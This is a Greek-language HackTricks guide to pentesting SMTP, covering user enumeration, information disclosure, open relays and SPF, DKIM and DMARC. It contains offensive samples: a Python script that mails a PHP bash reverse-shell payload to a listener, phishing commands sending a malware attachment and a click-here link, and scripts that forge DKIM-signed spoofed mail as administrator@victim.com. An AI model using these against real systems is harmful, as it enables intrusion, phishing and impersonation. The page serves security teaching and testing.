hacktricks/src/network-services-pentesting/pentesting-smtp/README.md

# 25,465,587 - Pentesting SMTP/s

{{#include ../../banners/hacktricks-training.md}}

## **Βασικές Πληροφορίες**

Το **Simple Mail Transfer Protocol (SMTP)** είναι ένα πρωτόκολλο που χρησιμοποιείται μέσα στην σουίτα TCP/IP για την **αποστολή και λήψη e-mail**. Λόγω των περιορισμών του στην ουρά μηνυμάτων στο τέλος του παραλήπτη, το SMTP συχνά χρησιμοποιείται παράλληλα με το **POP3 ή IMAP**. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε ένα διακομιστή ταχυδρομείου και να τα κατεβάζουν περιοδικά.

Στην πράξη, είναι κοινό για τα **προγράμματα e-mail** να χρησιμοποιούν **SMTP για την αποστολή e-mails**, ενώ χρησιμοποιούν **POP3 ή IMAP για την λήψη** τους. Σε συστήματα βασισμένα σε Unix, το **sendmail** ξεχωρίζει ως ο SMTP διακομιστής που χρησιμοποιείται πιο συχνά για σκοπούς e-mail. Το εμπορικό πακέτο που είναι γνωστό ως Sendmail περιλαμβάνει έναν διακομιστή POP3. Επιπλέον, το **Microsoft Exchange** παρέχει έναν SMTP διακομιστή και προσφέρει την επιλογή να συμπεριληφθεί υποστήριξη POP3.

**Προεπιλεγμένη θύρα:** 25,465(ssl),587(ssl)
```
PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
```
### EMAIL Headers

Αν έχετε την ευκαιρία να **κάνετε το θύμα να σας στείλει ένα email** (μέσω της φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί **μπορείτε να μάθετε για την εσωτερική τοπολογία** του θύματος βλέποντας τα headers του email.

Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN mail). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα.

Πρέπει επίσης να προσπαθήσετε να **στείλετε διαφορετικά περιεχόμενα γιατί μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες** στα headers όπως: `X-Virus-Scanned: by av.domain.com`\
Πρέπει να στείλετε το αρχείο δοκιμής EICAR.\
Η ανίχνευση του **AV** μπορεί να σας επιτρέψει να εκμεταλλευτείτε **γνωστές ευπάθειες.**

## Basic actions

### **Banner Grabbing/Basic connection**

**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Εύρεση MX διακομιστών μιας οργάνωσης
```bash
dig +short mx google.com
```
### Καταμέτρηση
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Αποκάλυψη πληροφοριών

Αν ο διακομιστής υποστηρίζει NTLM auth (Windows) μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες [**εδώ**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Ή **αυτοματοποιήστε** αυτό με το **nmap** plugin `smtp-ntlm-info.nse`

### Εσωτερικό όνομα διακομιστή - Αποκάλυψη πληροφοριών

Ορισμένοι διακομιστές SMTP συμπληρώνουν αυτόματα τη διεύθυνση ενός αποστολέα όταν εκδίδεται η εντολή "MAIL FROM" χωρίς πλήρη διεύθυνση, αποκαλύπτοντας το εσωτερικό του όνομα:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Sniffing

Ελέγξτε αν μπορείτε να αποσπάσετε κάποιον κωδικό από τα πακέτα προς την πόρτα 25

### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)

## Username Bruteforce Enumeration

**Η αυθεντικοποίηση δεν είναι πάντα απαραίτητη**

### RCPT TO
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
### VRFY
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
### EXPN
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
```
### Αυτόματες εργαλεία
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
## DSN Reports

**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. Οι **επικεφαλίδες** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus).

## [Commands](smtp-commands.md)

### Αποστολή ενός Email από την κονσόλα linux
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
```

```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Αποστολή Email με Python

<details>

<summary>Κώδικας Python εδώ</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>

## SMTP Smuggling

Η ευπάθεια SMTP Smuggling επέτρεψε την παράκαμψη όλων των προστασιών SMTP (δείτε την επόμενη ενότητα για περισσότερες πληροφορίες σχετικά με τις προστασίες). Για περισσότερες πληροφορίες σχετικά με το SMTP Smuggling, δείτε:

{{#ref}}
smtp-smuggling.md
{{#endref}}

## Mail Spoofing Countermeasures

Οι οργανισμοί αποτρέπονται από το να στέλνουν μη εξουσιοδοτημένα email εκ μέρους τους, χρησιμοποιώντας **SPF**, **DKIM** και **DMARC** λόγω της ευκολίας παραποίησης των μηνυμάτων SMTP.

Ένας **ολοκληρωμένος οδηγός για αυτές τις αντεπίθεσεις** είναι διαθέσιμος στο [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> Το SPF [ήταν "παρωχημένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε μια **εγγραφή TXT** στο `_spf.domain.com`, τη δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
> Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενες εγγραφές spf, είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν αν ένας host που στέλνει ένα email είναι εξουσιοδοτημένος, ερωτώντας μια λίστα εξουσιοδοτημένων mail servers που ορίζονται από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, τομείς και άλλες οντότητες **εξουσιοδοτημένες να στέλνουν email εκ μέρους ενός ονόματος τομέα**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στην εγγραφή SPF.

#### Μηχανισμοί

Από [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Μηχανισμός | Περιγραφή                                                                                                                                                                                                                                                                                                                         |
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL         | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς.                                                                                                                                                                              |
| A           | Αν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει.                                                                                                                                                                                                         |
| IP4         | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάξτε.                                                                                                                                                                                                                                                         |
| IP6         | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάξτε.                                                                                                                                                                                                                                                         |
| MX          | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα).                                                                                                                                                  |
| PTR         | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύεται στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάξτε. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν.                                                      |
| EXISTS      | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάξτε (δεν έχει σημασία ποια διεύθυνση επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries.                                                                                     |
| INCLUDE     | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης.                                          |
| REDIRECT    | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμο όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στη μηχανισμό ανακατεύθυνσης θα χρησιμοποιηθεί.</p> |

Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\
Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημανθεί το email ως μη αξιόπιστο (\~) ή να απορριφθεί (-) το email.**

#### Ποιοτικοί δείκτες

Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει πρόθεμα έναν από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα:

- **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`.
- **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική).
- **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος χώρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως.
- **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς.

Στο επόμενο παράδειγμα, απεικονίζεται η **πολιτική SPF του google.com**. Σημειώστε την συμπερίληψη πολιτικών SPF από διαφορετικούς τομείς εντός της πρώτης πολιτικής SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Παραδοσιακά, ήταν δυνατό να παραποιηθεί οποιοδήποτε όνομα τομέα που δεν είχε σωστό/κανένα SPF record. **Σήμερα**, αν το **email** προέρχεται από έναν **τομέα χωρίς έγκυρο SPF record**, είναι πιθανό να **απορριφθεί/σημανθεί ως μη αξιόπιστο αυτόματα**.

Για να ελέγξετε το SPF ενός τομέα, μπορείτε να χρησιμοποιήσετε διαδικτυακά εργαλεία όπως: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)

### DKIM (DomainKeys Identified Mail)

Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα.

Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`.

Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με:
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)

Το DMARC ενισχύει την ασφάλεια των email βασιζόμενο στα πρωτόκολλα SPF και DKIM. Καθορίζει πολιτικές που καθοδηγούν τους mail servers στη διαχείριση των email από μια συγκεκριμένη τομέα, συμπεριλαμβανομένου του τρόπου διαχείρισης αποτυχιών αυθεντικοποίησης και πού να στέλνουν αναφορές σχετικά με τις ενέργειες επεξεργασίας email.

**Για να αποκτήσετε το DMARC record, πρέπει να κάνετε query το υποτομέα \_dmarc**
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### DMARC tags

| Tag Name | Purpose                                       | Sample                          |
| -------- | --------------------------------------------- | ------------------------------- |
| v        | Protocol version                              | v=DMARC1                        |
| pct      | Percentage of messages subjected to filtering | pct=20                          |
| ruf      | Reporting URI for forensic reports            | ruf=mailto:authfail@example.com |
| rua      | Reporting URI of aggregate reports            | rua=mailto:aggrep@example.com   |
| p        | Policy for organizational domain              | p=quarantine                    |
| sp       | Policy for subdomains of the OD               | sp=reject                       |
| adkim    | Alignment mode for DKIM                       | adkim=s                         |
| aspf     | Alignment mode for SPF                        | aspf=r                          |

### **Τι γίνεται με τα Υποτομείς;**

**Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Πρέπει να έχετε ξεχωριστά SPF records για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\
Το παρακάτω είχε αρχικά δημοσιευτεί στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτό το είδος πληροφοριών.

> Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς;
>
> Αν λάβω email από το pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει SPF records για κάθε υποτομέα.
>
> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε ένα SPF record για κάθε υποτομέα ή hostname που έχει A ή MX record.
>
> Ιστοσελίδες με wildcard A ή MX records θα πρέπει επίσης να έχουν ένα wildcard SPF record, της μορφής: \* IN TXT "v=spf1 -all"

Αυτό έχει νόημα - ένας υποτομέας μπορεί να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF.

### **Ανοιχτός Relay**

Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **relay server που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για το ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας.

Μια λύση που χρησιμοποιούν ορισμένοι διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή τρέχοντες πελάτες, είναι να **επιτρέπουν συνδέσεις από οποιαδήποτε IP διεύθυνση**. Αυτό γίνεται ρυθμίζοντας την παράμετρο `mynetworks` του SMTP server να αποδέχεται όλες τις IP διευθύνσεις, όπως φαίνεται παρακάτω:
```bash
mynetworks = 0.0.0.0/0
```
Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να δοκιμάσει αυτό. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Εργαλεία**

- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Έλεγχος για misconfigurations SPF και DMARC**
- [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Αυτόματος έλεγχος SPF και DMARC configs**

### Αποστολή Ψεύτικου Email

- [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
- [**http://www.anonymailer.net/**](http://www.anonymailer.net)
- [**https://emkei.cz/**](https://emkei.cz/)

**Ή μπορείτε να χρησιμοποιήσετε ένα εργαλείο:**

- [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
> [!WARNING]
> Αν λάβετε οποιοδήποτε **σφάλμα κατά τη χρήση της βιβλιοθήκης dkim python** για την ανάλυση του κλειδιού, μη διστάσετε να χρησιμοποιήσετε αυτό το παρακάτω.\
> **ΣΗΜΕΙΩΣΗ**: Αυτό είναι απλώς μια πρόχειρη λύση για γρήγορες ελέγχους σε περιπτώσεις όπου για κάποιο λόγο το ιδιωτικό κλειδί openssl **δεν μπορεί να αναλυθεί από το dkim**.
>
> ```
> -----BEGIN RSA PRIVATE KEY-----
> MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
> spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
> pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
> AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
> koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
> fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
> 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
> ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
> GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
> 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
> Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
> zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
> K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
> -----END RSA PRIVATE KEY-----
> ```

**Ή μπορείτε να το κάνετε χειροκίνητα:**

{{#tabs}}
{{#tab name="PHP"}}

<pre class="language-php"><code class="lang-php"><strong># Αυτό θα στείλει ένα μη υπογεγραμμένο μήνυμα
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
</strong></code></pre>

{{#endtab}}

{{#tab name="Python"}}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{{#endtab}}
{{#endtabs}}

### **Περισσότερες πληροφορίες**

**Βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις προστασίες στο** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)

### **Άλλοι δείκτες phishing**

- Η ηλικία του τομέα
- Συνδέσμοι που δείχνουν σε διευθύνσεις IP
- Τεχνικές χειραγώγησης συνδέσμων
- Υποψίες (ασυνήθιστες) συνημμένες
- Σπασμένο περιεχόμενο email
- Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email
- Ύπαρξη έγκυρου και αξιόπιστου πιστοποιητικού SSL
- Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου

## Εξαγωγή μέσω SMTP

**Αν μπορείτε να στείλετε δεδομένα μέσω SMTP** [**διαβάστε αυτό**](../../generic-hacking/exfiltration.md#smtp)**.**

## Αρχείο ρυθμίσεων

### Postfix

Συνήθως, αν είναι εγκατεστημένο, στο `/etc/postfix/master.cf` περιέχει **σενάρια προς εκτέλεση** όταν, για παράδειγμα, παραληφθεί ένα νέο email από έναν χρήστη. Για παράδειγμα, η γραμμή `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` σημαίνει ότι το `/etc/postfix/filtering` θα εκτελείται αν παραληφθεί ένα νέο email από τον χρήστη mark.

Άλλα αρχεία ρυθμίσεων:
```
sendmail.cf
submit.cf
```
## Αναφορές

- [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
